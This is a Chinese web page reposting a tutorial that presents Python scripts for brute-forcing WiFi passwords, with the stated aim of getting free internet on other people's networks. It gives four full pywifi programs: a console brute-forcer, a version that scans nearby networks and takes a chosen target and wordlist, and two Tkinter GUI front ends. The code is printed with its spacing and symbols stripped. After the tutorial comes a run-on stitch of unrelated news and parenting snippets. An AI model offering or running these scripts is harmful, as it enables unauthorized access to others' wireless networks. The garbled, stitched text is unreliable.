专栏电商日志财经减肥爱情
投稿投诉
爱情常识
搭配分娩
减肥两性
孕期塑形
财经教案
论文美文
日志体育
养生学堂
电商科学
头戴业界
专栏星座
用品音乐

用Python破解WiFi密码,太刺激了

  本文将记录学习下如何通过Python脚本实现WIFI密码的暴力破解,从而实现免费蹭网。
  无图形界面
  先来看看没有图形界面版的爆破脚本。
  WIFI爆破
  importpywififrompywifiimportconstimporttimeimportdatetime测试连接,返回链接结果defwifiConnect(pwd):抓取网卡接口wifipywifi。PyWiFi()获取第一个无线网卡ifaceswifi。interfaces()〔0〕断开所有连接ifaces。disconnect()time。sleep(1)wifistatusifaces。status()ifwifistatusconst。IFACEDISCONNECTED:创建WiFi连接文件profilepywifi。Profile()要连接WiFi的名称profile。ssidTr0e网卡的开放状态profile。authconst。AUTHALGOPENwifi加密算法,一般wifi加密算法为wpsprofile。akm。append(const。AKMTYPEWPA2PSK)加密单元profile。cipherconst。CIPHERTYPECCMP调用密码profile。keypwd删除所有连接过的wifi文件ifaces。removeallnetworkprofiles()设定新的连接文件tepprofileifaces。addnetworkprofile(profile)ifaces。connect(tepprofile)wifi连接时间time。sleep(2)ififaces。status()const。IFACECONNECTED:returnTrueelse:returnFalseelse:print(已有wifi连接)读取密码本defreadPassword():successFalseprint(WIFI破解)密码本路径pathpwd。txt打开文件fileopen(path,r)startdatetime。datetime。now()whileTrue:try:pwdfile。readline()去除密码的末尾换行符pwdpwd。strip()boolwifiConnect(pwd)ifbool:print(〔〕密码已破解:,pwd)print(〔〕WiFi已自动连接!!!)successTruebreakelse:跳出当前循环,进行下一次循环print(正在破解SSID为s的WIFI密码,当前校验的密码为:s(Tr0e,pwd))except:continueenddatetime。datetime。now()if(success):print(〔〕本次破解WIFI密码一共用了多长时间:{}。format(endstart))else:print(〔〕很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!)exit(0)ifnamemain:readPassword()
  代码运行效果:
  脚本优化
  以上脚本需内嵌WIFI名、爆破字典路径,缺少灵活性。下面进行改造优化:
  importpywifiimporttimefrompywifiimportconstWiFi扫描模块defwifiscan():初始化wifiwifipywifi。PyWiFi()使用第一个无线网卡interfacewifi。interfaces()〔0〕开始扫描interface。scan()foriinrange(4):time。sleep(1)print(r扫描可用WiFi中,请稍后(str(3i),end))print(r扫描完成!38)print(r{:4}{:6}{}。format(编号,信号强度,wifi名))扫描结果,scanresults()返回一个集,存放的是每个wifi对象bssinterface。scanresults()存放wifi名的集合wifinamesetset()forwinbss:解决乱码问题wifinameandsignal(100w。signal,w。ssid。encode(rawunicodeescape)。decode(utf8))wifinameset。add(wifinameandsignal)存入列表并按信号排序wifinamelistlist(wifinameset)wifinamelistsorted(wifinamelist,keylambdaa:a〔0〕,reverseTrue)num0格式化输出whilenumlen(wifinamelist):print(r{:6d}{:8d}{}。format(num,wifinamelist〔num〕〔0〕,wifinamelist〔num〕〔1〕))num1print(38)返回wifi列表returnwifinamelistWIFI破解模块defwifipasswordcrack(wifiname):字典路径wifidicpathinput(请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:)withopen(wifidicpath,r)asf:遍历密码forpwdinf:去除密码的末尾换行符pwdpwd。strip()创建wifi对象wifipywifi。PyWiFi()创建网卡对象,为第一个wifi网卡interfacewifi。interfaces()〔0〕断开所有wifi连接interface。disconnect()等待其断开whileinterface。status()4:当其处于连接状态时,利用循环等待其断开pass创建连接文件(对象)profilepywifi。Profile()wifi名称profile。ssidwifiname需要认证profile。authconst。AUTHALGOPENwifi默认加密算法profile。akm。append(const。AKMTYPEWPA2PSK)profile。cipherconst。CIPHERTYPECCMPwifi密码profile。keypwd删除所有wifi连接文件interface。removeallnetworkprofiles()设置新的wifi连接文件tmpprofileinterface。addnetworkprofile(profile)开始尝试连接interface。connect(tmpprofile)starttimetime。time()whiletime。time()starttime1。5:接口状态为4代表连接成功(当尝试时间大于1。5秒之后则为错误密码,经测试测正确密码一般都在1。5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)ifinterface。status()4:print(fr连接成功!密码为:{pwd})exit(0)else:print(fr正在利用密码{pwd}尝试破解。,end)主函数defmain():退出标致exitflag0目标编号targetnum1whilenotexitflag:try:print(WiFi万能钥匙。center(35,))调用扫描模块,返回一个排序后的wifi列表wifilistwifiscan()让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理chooseexitflag0whilenotchooseexitflag:try:targetnumint(input(请选择你要尝试破解的wifi:))如果要选择的wifi编号在列表内,继续二次判断,否则重新输入iftargetnuminrange(len(wifilist)):二次确认whilenotchooseexitflag:try:choosestr(input(f你选择要破解的WiFi名称是:{wifilist〔targetnum〕〔1〕},确定吗?(YN)))对用户输入进行小写处理,并判断ifchoose。lower()y:chooseexitflag1elifchoose。lower()n:break处理用户其它字母输入else:print(只能输入YN哦o()o)处理用户非字母输入exceptValueError:print(只能输入YN哦o()o)退出破解ifchooseexitflag1:breakelse:print(请重新输入哦())exceptValueError:print(只能输入数字哦o()o)密码破解,传入用户选择的wifi名称wifipasswordcrack(wifilist〔targetnum〕〔1〕)print(38)exitflag1exceptExceptionase:print(e)raiseeifnamemain:main()
  脚本运行效果如下:
  上述代码实现了依据信号强度枚举当前附近的所有WIFI名称,并且可供用户自主选择需要暴力破解的WIFI,同时还可灵活指定暴力破解的字典,相对而言体验感提升了不少。进一步也可以将上述脚本打包生成exe文件,双击运行效果如下:
  图形化界面
  下面基于Python的GUI图形界面开发库Tkinter优化上述脚本,实现友好的可视化WIFI暴力破解界面工具。关于Tkinter库的语法可参见:PythonGUI编程(Tkinter)。
  简单版UI
  fromtkinterimportfrompywifiimportconstimportpywifiimporttime主要步骤:1、获取第一个无线网卡2、断开所有的wifi3、读取密码本4、设置睡眠时间defwificonnect(str,wifiname):窗口无线对象wifipywifi。PyWiFi()抓取第一个无线网卡ifaceswifi。interfaces()〔0〕断开所有的wifiifaces。disconnect()time。sleep(1)ififaces。status()const。IFACEDISCONNECTED:创建wifi连接文件profilepywifi。Profile()profile。ssidwifinamewifi的加密算法profile。akm。append(const。AKMTYPEWPA2PSK)wifi的密码profile。keystr网卡的开发profile。authconst。AUTHALGOPEN加密单元,这里需要写点加密单元否则无法连接profile。cipherconst。CIPHERTYPECCMP删除所有的wifi文件ifaces。removeallnetworkprofiles()设置新的连接文件tepprofileifaces。addnetworkprofile(profile)连接ifaces。connect(tepprofile)time。sleep(3)ififaces。status()const。IFACECONNECTED:returnTrueelse:returnFalsedefreadPwd():获取wiif名称wifinameentry。get()。strip()pathr。pwd。txtfileopen(path,r)whileTrue:try:读取mystrfile。readline()。strip()测试连接boolwificonnect(mystr,wifiname)ifbool:text。insert(END,密码正确mystr)text。see(END)text。update()file。close()breakelse:text。insert(END,密码错误mystr)text。see(END)text。update()except:continue创建窗口rootTk()root。title(wifi破解)root。geometry(500x400)标签labelLabel(root,text输入要破解的WIFI名称:)定位label。grid()输入控件entryEntry(root,font(微软雅黑,14))entry。grid(row0,column1)列表控件textListbox(root,font(微软雅黑,14),width40,height10)text。grid(row1,columnspan2)按钮buttonButton(root,text开始破解,width20,height2,commandreadPwd)button。grid(row2,columnspan2)显示窗口root。mainloop()
  脚本运行效果:
  UI升级版
  以上图形界面未允许选择密码字典,下面进行优化升级:
  fromtkinterimportfromtkinterimportttkimportpywififrompywifiimportconstimporttimeimporttkinter。filedialog在Gui中打开文件浏览importtkinter。messagebox打开tkiner的消息提醒框classMYGUI():definit(self,initwindowname):self。initwindownameinitwindowname密码文件路径self。getvalueStringVar()设置可变内容获取破解wifi账号self。getwifivalueStringVar()获取wifi密码self。getwifimmvalueStringVar()抓取网卡接口self。wifipywifi。PyWiFi()抓取第一个无线网卡self。ifaceself。wifi。interfaces()〔0〕测试链接断开所有链接self。iface。disconnect()time。sleep(1)休眠1秒测试网卡是否属于断开状态assertself。iface。status()in〔const。IFACEDISCONNECTED,const。IFACEINACTIVE〕defstr(self):自动会调用的函数,返回自身的网卡return(WIFI:s,s)(self。wifi,self。iface。name())设置窗口defsetinitwindow(self):self。initwindowname。title(WIFI破解工具)self。initwindowname。geometry(500200)labelframeLabelFrame(width400,height200,text配置)框架,以下对象都是对于labelframe中添加的labelframe。grid(column0,row0,padx10,pady10)self。searchButton(labelframe,text搜索附近WiFi,commandself。scanswifilist)。grid(column0,row0)self。pojieButton(labelframe,text开始破解,commandself。readPassWord)。grid(column1,row0)self。labelLabel(labelframe,text目录路径:)。grid(column0,row1)self。pathEntry(labelframe,width12,textvariableself。getvalue)。grid(column1,row1)self。fileButton(labelframe,text添加密码文件目录,commandself。addmmfile)。grid(column2,row1)self。wifitextLabel(labelframe,textWiFi账号:)。grid(column0,row2)self。wifiinputEntry(labelframe,width12,textvariableself。getwifivalue)。grid(column1,row2)self。wifimmtextLabel(labelframe,textWiFi密码:)。grid(column2,row2)self。wifimminputEntry(labelframe,width10,textvariableself。getwifimmvalue)。grid(column3,row2,stickyW)self。wifilabelframeLabelFrame(textwifi列表)self。wifilabelframe。grid(column0,row3,columnspan4,stickyNSEW)定义树形结构与滚动条self。wifitreettk。Treeview(self。wifilabelframe,showheadings,columns(a,b,c,d))self。vbarttk。Scrollbar(self。wifilabelframe,orientVERTICAL,commandself。wifitree。yview)self。wifitree。configure(yscrollcommandself。vbar。set)表格的标题self。wifitree。column(a,width50,anchorcenter)self。wifitree。column(b,width100,anchorcenter)self。wifitree。column(c,width100,anchorcenter)self。wifitree。column(d,width100,anchorcenter)self。wifitree。heading(a,textWiFiID)self。wifitree。heading(b,textSSID)self。wifitree。heading(c,textBSSID)self。wifitree。heading(d,textsignal)self。wifitree。grid(row4,column0,stickyNSEW)self。wifitree。bind(Double1,self。onDBClick)self。vbar。grid(row4,column1,stickyNS)搜索wifidefscanswifilist(self):扫描周围wifi列表开始扫描print(开始扫描附近wifi。。。)self。iface。scan()time。sleep(15)在若干秒后获取扫描结果scanresself。iface。scanresults()统计附近被发现的热点数量numslen(scanres)print(数量:s(nums))实际数据self。showscanswifilist(scanres)returnscanres显示wifi列表defshowscanswifilist(self,scansres):forindex,wifiinfoinenumerate(scansres):self。wifitree。insert(,end,values(index1,wifiinfo。ssid,wifiinfo。bssid,wifiinfo。signal))添加密码文件目录defaddmmfile(self):self。filenametkinter。filedialog。askopenfilename()self。getvalue。set(self。filename)Treeview绑定事件defonDBClick(self,event):self。selsevent。widget。selection()self。getwifivalue。set(self。wifitree。item(self。sels,values)〔1〕)读取密码字典,进行匹配defreadPassWord(self):self。getFilePathself。getvalue。get()self。getwifissidself。getwifivalue。get()pwdfilehanderopen(self。getFilePath,r,errorsignore)whileTrue:try:self。pwdStrpwdfilehander。readline()ifnotself。pwdStr:breakself。bool1self。connect(self。pwdStr,self。getwifissid)ifself。bool1:self。res〔〕密码正确!wifi名:s,匹配密码:s(self。getwifissid,self。pwdStr)self。getwifimmvalue。set(self。pwdStr)tkinter。messagebox。showinfo(提示,破解成功!!!)print(self。res)breakelse:self。res〔〕密码错误!wifi名:s,匹配密码:s(self。getwifissid,self。pwdStr)print(self。res)time。sleep(3)except:continue对wifi和密码进行匹配defconnect(self,pwdStr,wifissid):创建wifi链接文件self。profilepywifi。Profile()self。profile。ssidwifissidwifi名称self。profile。authconst。AUTHALGOPEN网卡的开放self。profile。akm。append(const。AKMTYPEWPA2PSK)wifi加密算法self。profile。cipherconst。CIPHERTYPECCMP加密单元self。profile。keypwdStr密码self。iface。removeallnetworkprofiles()删除所有的wifi文件self。tmpprofileself。iface。addnetworkprofile(self。profile)设定新的链接文件self。iface。connect(self。tmpprofile)链接time。sleep(5)ifself。iface。status()const。IFACECONNECTED:判断是否连接上isOKTrueelse:isOKFalseself。iface。disconnect()断开time。sleep(1)检查断开状态assertself。iface。status()in〔const。IFACEDISCONNECTED,const。IFACEINACTIVE〕returnisOKdefguistart():initwindowTk()uiMYGUI(initwindow)print(ui)ui。setinitwindow()initwindow。mainloop()ifnamemain:guistart()
  脚本运行效果如下:
  以上基于Python的GUI图形界面开发库Tkinter,实际上Python的GUI编程可以借助PyQt5来自动生成UI代码,相关教程可参见:PyQt5设计GUI(一)pycharm中配置pyqt5。
  总结
  本文学习了Python暴力破解WIFI密码的方法、以及PythonGUI图形化编程的基础使用。
  所演示的代码的不足在于均没有使用多线程进行WIFI连接测试,实际上因为WIFI连接测试需要一定的耗时(35秒),故使用多线程将能减少暴力破解过程的等待时间。

孩子找托词不做任务,是什么原因?如今,鹏鹏四岁半了,1年前,他被确诊为谱系障碍。为了给鹏鹏治疗,鹏鹏爸妈带着孩子去了不少地方。2022年10月份,受疫情影响,鹏鹏没法去机构做治疗,于是,鹏鹏妈妈只好自己带着孩子在委员说公办幼儿园幼托一体化如何持续推进?当下,学前教育概念范畴由36岁向06岁拓展延伸,托幼一体化成为学前教育发展的趋势。托幼一体化作为将06岁婴幼儿教保服务进行整体性思考和系统性规划的重要理念,对于有效拓展我国托幼教育为什么越来越多脑瘤?66万人研究孩子拍CT,或增加脑瘤风险东东今年10岁,根据家属反映早期有头疼的情况,以为是小孩子不想上学的借口,孩子经常呕吐,走路不稳,总是摔跤,于是在医院检查。详细检查,发现孩子大脑里长了肿瘤,并且伴有脑积水,情况不非婚生育的女性经历了什么今年年初,四川省宣布生育登记新调整,决定取消生育登记中对是否结婚的限制条件,引发关注。其中部分人认为,这对决定跳过婚恋生育的女性来说,有了更多实现可能。39岁这年,焦薇(化名)决定取消生育限制之后,我有个问题,想请教一下专家们!国家花费大量财力培养专家,目的是为了让专家用他们的智慧,造福更多的人民群众的。可有的专家不仅脱离群众,还语出惊人,这真的对得起国家吗?随着出生人口总数不断下降,我国已进入人口老龄化怀孕最初4周,应该注意什么?最初四周孕妈妈还未察觉怀孕,胎宝宝像颗小桑葚。严格意义上来说,现在的你还只是一位准备期的孕妈妈,要以健康的身体和轻松愉悦的心情,等待宝贝的到来哦。当精子和卵子互相亲切,成功地结合为彻底放开生育政策?不用结婚也可以生孩子,四川生育政策调整今年的一则消息彻底引爆了网络,四川省卫健委前一段时间发布了一则通告。取消了登记对象是否结婚的条件,将夫妻应当在生育进行结婚登记,改为凡生育子女的公民,均应办理生育登记。四川省生育登孩子做作业偷玩手机,你会诈尸教育?自觉自律反人性靠不住要监督昨天下午,孩子做作业时又偷着玩手机游戏,那一刻我诈尸教育了。爆发后,我也理解了不婚和丁克,当家长太难了。幻想靠孩子完全自觉是不可能的,自觉自律是反人性的,极少人能做到,必须要有效监上海恢复日本单次签了?旅行社暂时只代办日本五年多次签,但不少人被这一要求劝退随着出境游政策的放开,人们走出国门旅游的心情也越来越高涨了。日本作为邻国,是不少人出境游的首选。由于日本签证不接受个人申请,旅游签证需由指定旅行社代理,所以日本签证代理业务火爆。记司马光和王安石权斗内幕,看北宋帝国衰落过程在阅读此文之前,麻烦您点击一下关注,既方便您进行讨论和分享,又能给您带来不一样的参与感,感谢您的支持公元1127年,北宋爆发靖康之变,当朝皇帝宋钦宗被金人抓走,北宋宣布覆灭。在世人德元仙治上海的发展速度令人吃惊,这三十年来我每天都能感受到新的变化老外讲故事另眼观盛会(51)继百集融媒体产品百年大党老外讲故事和老外讲故事海外员工看中国境内外播放量分别突破16亿和10亿之后,上海又推出老外讲故事第三季另眼观盛会。中共二十大的召开不仅决定着中国的未来发展,
三国杀斗地主SP貂蝉全方位解析SP貂蝉(群雄势力)游戏定位地主玩法我们选SP貂蝉当地主。离魂貂蝉主要是以拿对方手牌作文章,所以我们开局优先集火血量值低的一般武将。将面有利的情况下我们刷攻击性锦囊和杀配合离魂拿下逆水寒老兵服说英雄探索大师之雪落原!雪落原总共8个探索,其中5个没有限制随时可做,3个偶数点整点可做,多出几种新的玩法。其中有2个滚雪球的,需要我们用角色去推动雪球到固定位置。貌美雪人雪球如图,在前方不远有一圈雪球,9位明星原形毕露,风光不再,再难翻身文狂人日际编辑狂人日际前言近两年,娱乐圈的塌房一茬接着一茬,我们就像闰土里的猹在瓜田里上蹿下跳的,代孕侵犯未成年嫖娼,涉嫌传销案,等等。。这可能是近两年,塌房事件搜索最多的关键词了DNF精神小妹上线时间预测!2大时间点可能性最高,最晚周年庆奶弓作为玩家期待已久的第个4奶系职业,在2月份也是终于揭开神秘面纱了,由于外形是个萌妹子,再加上是首个精神职业,因此大家都管她叫精神小妹。该职业的优点有很多,例如瞬移带伤害,太阳可64岁麦当娜在格莱美后台,与音乐人Jozzy舌吻,简直就是燥起来疯狂据镜报2月8日消息,在洛杉矶格莱美颁奖典礼后台,麦当娜与艺术家和碧昂丝词曲作者乔西(Jozzy)热情地接吻。麦当娜在Ins上的1870万粉丝分享了这一亲密时刻,这让粉丝们陷入了疯狂乐视手机回归用半年时间频登京东热卖榜2022年,乐视先后发布了Y系列入门级手机Y1Pro和Y2Pro。与其他品牌不同,乐视在去年回归后选择了开辟百元机市场,这显然出乎大家意料。随后,为了给用户带来更好的产品使用体验,杜兰特确定无缘全明星,东部多出一个替补名额据名记ChrisHaynes最新报道,篮网球星凯文杜兰特确定不会参加今年的全明星赛。杜兰特在1月9日对热火的比赛中被吉米巴特勒压到膝盖导致受伤,当时预计他会因为缺阵一个月。篮网在1风吹仙袂,犹似霓裳且思汉代服饰的变化阅读此文前,诚邀您点击一下关注,既方便您进行分享与讨论,又给您带来不一样的参与感,感谢您的支持。引言郭沫若曾言衣裳是文化的表征,衣裳是思想的形象,服饰是一个国家文化的象征,服饰的样司马懿早已看出了空城计,为何还要撤军?诸葛亮他若不撤,必死在时局动荡群雄割据的三国时期,涌现了不少叱咤风云的英雄人物和让人敬佩的能人异士。在三国时期最让人崇拜的谋士当中,除了诸葛亮以外,司马懿肯定是榜上有名的。司马懿不仅智谋顶尖善于权变,课本为何没讲田忌赛马后续?愚蠢的胜利,预示悲惨的结局文李斯瑞编辑老涵俗话说得好以铜为鉴,可以正衣冠以人为鉴,可以明得失以史为鉴,可以知兴替。很多发生在过去的历史故事,在今天依然对我们有警示作用,给了我们诸多启发。田忌赛马这个故事不陌太平天国石达开兵败被清军追杀,为什么不逃跑到东南亚去石达开没有跑到东南亚,不代表别的太平天国的领袖没有跑到东南亚。只是石达开没有想到这一点,选择了西进四川的路线。而别的太平天国领袖想到了这一点而已。逃到东南亚的翼王,叫瑛王。补充一个
友情链接:快好找快生活快百科快传网中准网文好找聚热点快软网